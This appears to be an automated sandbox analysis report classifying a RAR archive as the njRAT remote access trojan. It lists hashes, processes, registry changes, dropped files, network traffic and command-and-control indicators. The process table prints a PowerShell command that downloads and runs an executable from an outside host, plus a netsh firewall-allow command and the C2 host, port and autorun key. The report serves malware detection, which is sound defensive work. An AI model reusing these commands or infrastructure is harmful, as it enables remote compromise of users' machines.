| File name: | 3322.rar |
| Full analysis: | https://app.any.run/tasks/bc7340ed-f206-4de5-bb46-d4570d219d53 |
| Verdict: | Malicious activity |
| Threats: | njRAT is a remote access trojan. It is one of the most widely accessible RATs on the market that features an abundance of educational information. Interested attackers can even find tutorials on YouTube. This allows it to become one of the most popular RATs in the world. |
| Analysis date: | January 08, 2024, 09:44:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | 9087A30D0935956D470CE46152222B8B |
| SHA1: | ACCCA8066138E139D44924E441A14384FC0584EB |
| SHA256: | 890CF48B0C2E4DB495DC6224F360510FE5111AA81292DCB3E4F33D121E6C91A5 |
| SSDEEP: | 768:oLpH6FWJQ3JHLaQoaMrwDvKHaawrtknNtdi7qvwwalUNFNjqpVIR1H9ZI+xp:oB6FWJCLcFsDvyMKtsawKNkV0ZI+xp |
MALICIOUS
Create files in the Startup directory
- svchost.exe (PID: 1728)
NjRAT is detected
- svchost.exe (PID: 1728)
Changes the autorun value in the registry
- svchost.exe (PID: 1728)
NJRAT has been detected (YARA)
- svchost.exe (PID: 1728)
SUSPICIOUS
Starts CMD.EXE for commands execution
- 3322.exe (PID: 1044)
Executing commands from a ".bat" file
- 3322.exe (PID: 1044)
Request a resource from the Internet using PowerShell's cmdlet
- cmd.exe (PID: 1608)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 1608)
Reads the Internet Settings
- powershell.exe (PID: 1588)
- Server.exe (PID: 1824)
Adds/modifies Windows certificates
- powershell.exe (PID: 1588)
The process creates files with name similar to system file names
- Server.exe (PID: 1824)
- svchost.exe (PID: 1728)
Uses NETSH.EXE to add a firewall rule or allowed programs
- svchost.exe (PID: 1728)
INFO
Checks supported languages
- 3322.exe (PID: 1044)
- Server.exe (PID: 1824)
- svchost.exe (PID: 1728)
Create files in a temporary directory
- 3322.exe (PID: 1044)
Drops the executable file immediately after the start
- WinRAR.exe (PID: 2036)
- powershell.exe (PID: 1588)
- Server.exe (PID: 1824)
- svchost.exe (PID: 1728)
Connects to unusual port
- powershell.exe (PID: 1588)
- svchost.exe (PID: 1728)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 1588)
The Powershell connects to the Internet
- powershell.exe (PID: 1588)
The executable file from the user directory is run by the CMD process
- Server.exe (PID: 1824)
Unusual connection from system programs
- powershell.exe (PID: 1588)
Reads the computer name
- Server.exe (PID: 1824)
- svchost.exe (PID: 1728)
Reads the machine GUID from the registry
- Server.exe (PID: 1824)
- svchost.exe (PID: 1728)
Creates files or folders in the user directory
- svchost.exe (PID: 1728)
Reads Environment values
- svchost.exe (PID: 1728)
Starts itself from another location
- Server.exe (PID: 1824)
Connects to the CnC server
- svchost.exe (PID: 1728)
NJRAT has been detected (SURICATA)
- svchost.exe (PID: 1728)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
NjRat
(PID) Process(1728) svchost.exe
C217.ip.gl.ply.gg
Ports58366
BotnetHacKed
Options
Auto-run registry keySoftware\Microsoft\Windows\CurrentVersion\Run\da35bff95a193cef1b562c5b9ba0cf7b
Splitter|'|'|
Versionim523
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
46
Monitored processes
8
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1044 | "C:\Users\admin\AppData\Local\Temp\Rar$EXa2036.7421\3322.exe" | C:\Users\admin\AppData\Local\Temp\Rar$EXa2036.7421\3322.exe | WinRAR.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 1588 | powershell -Command "Invoke-WebRequest https://f11.file-upload.download:183/d/r4xn7jdjnlgpv7w75g5imbilzzeccky7r3dwi5hmrpzf6jselhiyjrmwkp7pe7crbqxlbciz/Server.exe -Outfile C:\Users\admin\AppData\Local\Temp\Server.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1608 | "C:\Windows\system32\cmd" /c "C:\Users\admin\AppData\Local\Temp\A0E.tmp\A0F.tmp\A10.bat C:\Users\admin\AppData\Local\Temp\Rar$EXa2036.7421\3322.exe" | C:\Windows\System32\cmd.exe | — | 3322.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1728 | "C:\Users\admin\svchost.exe" | C:\Users\admin\svchost.exe | Server.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
NjRat(PID) Process(1728) svchost.exe C217.ip.gl.ply.gg Ports58366 BotnetHacKed Options Auto-run registry keySoftware\Microsoft\Windows\CurrentVersion\Run\da35bff95a193cef1b562c5b9ba0cf7b Splitter|'|'| Versionim523 | |||||||||||||||
| 1824 | Server.exe | C:\Users\admin\AppData\Local\Temp\Server.exe | — | cmd.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 2036 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\3322.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 2204 | "C:\Users\admin\AppData\Local\Temp\Rar$EXa2036.7421\3322.exe" | C:\Users\admin\AppData\Local\Temp\Rar$EXa2036.7421\3322.exe | — | WinRAR.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 2448 | netsh firewall add allowedprogram "C:\Users\admin\svchost.exe" "svchost.exe" ENABLE | C:\Windows\System32\netsh.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
6 576
Read events
6 395
Write events
181
Delete events
0
Modification events
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\phacker.zip | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2036) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
Executable files
5
Suspicious files
6
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1044 | 3322.exe | C:\Users\admin\AppData\Local\Temp\A0E.tmp\A0F.tmp\A10.bat | text | |
MD5:C38B8C22152FDF20BAE13B45E1FB428B | SHA256:81E6456CDBFC3933F9E815CE22F73F6F7C6EA6DF14ED8CE5EEAC71B069EC969A | |||
| 1588 | powershell.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\30D802E0E248FEE17AAF4A62594CC75A | binary | |
MD5:ADAB5C4DF031FB9299F71ADA7E18F613 | SHA256:7FA4FF68EC04A99D7528D5085F94907F4D1DD1C5381BACDC832ED5C960214676 | |||
| 1588 | powershell.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\30D802E0E248FEE17AAF4A62594CC75A | binary | |
MD5:67F8276BFB0F078C3CC599496B47CD66 | SHA256:39961B479F7D55CF891EA0D40CF0100261A1CDB0E94AFC218C75081D65AF73BA | |||
| 1588 | powershell.exe | C:\Users\admin\AppData\Local\Temp\esqk2wdw.ugv.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1588 | powershell.exe | C:\Users\admin\AppData\Local\Temp\Server.exe | executable | |
MD5:73852EB4A95294D3065DCDF9331D0602 | SHA256:0273BB215A3D3A9083D00AC6E284AA38AF2315DD034CE61312D1D29D4D684383 | |||
| 2036 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$EXa2036.7421\3322.exe | executable | |
MD5:A9E679637A03CE6F370936E680FCCD60 | SHA256:42E9C480503E70882D15EF96B4BFEEA318405CBFBA55FC31273D0D8CDEA6522D | |||
| 1728 | svchost.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\da35bff95a193cef1b562c5b9ba0cf7b.exe | executable | |
MD5:73852EB4A95294D3065DCDF9331D0602 | SHA256:0273BB215A3D3A9083D00AC6E284AA38AF2315DD034CE61312D1D29D4D684383 | |||
| 1588 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 1824 | Server.exe | C:\Users\admin\svchost.exe | executable | |
MD5:73852EB4A95294D3065DCDF9331D0602 | SHA256:0273BB215A3D3A9083D00AC6E284AA38AF2315DD034CE61312D1D29D4D684383 | |||
| 1728 | svchost.exe | C:\svchost.exe | executable | |
MD5:73852EB4A95294D3065DCDF9331D0602 | SHA256:0273BB215A3D3A9083D00AC6E284AA38AF2315DD034CE61312D1D29D4D684383 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
9
DNS requests
3
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1588 | powershell.exe | GET | 200 | 172.64.149.23:80 | http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt | unknown | binary | 1.52 Kb | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
1588 | powershell.exe | 51.38.57.48:183 | f11.file-upload.download | OVH SAS | FR | unknown |
1588 | powershell.exe | 172.64.149.23:80 | crt.sectigo.com | CLOUDFLARENET | US | unknown |
1728 | svchost.exe | 147.185.221.17:58366 | 17.ip.gl.ply.gg | PLAYIT-GG | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
f11.file-upload.download |
| unknown |
crt.sectigo.com |
| whitelisted |
17.ip.gl.ply.gg |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1728 | svchost.exe | Malware Command and Control Activity Detected | ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) |
1728 | svchost.exe | Malware Command and Control Activity Detected | ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) |
1728 | svchost.exe | Malware Command and Control Activity Detected | ET MALWARE njrat ver 0.7d Malware CnC Callback (Remote Desktop) |
4 ETPRO signatures available at the full report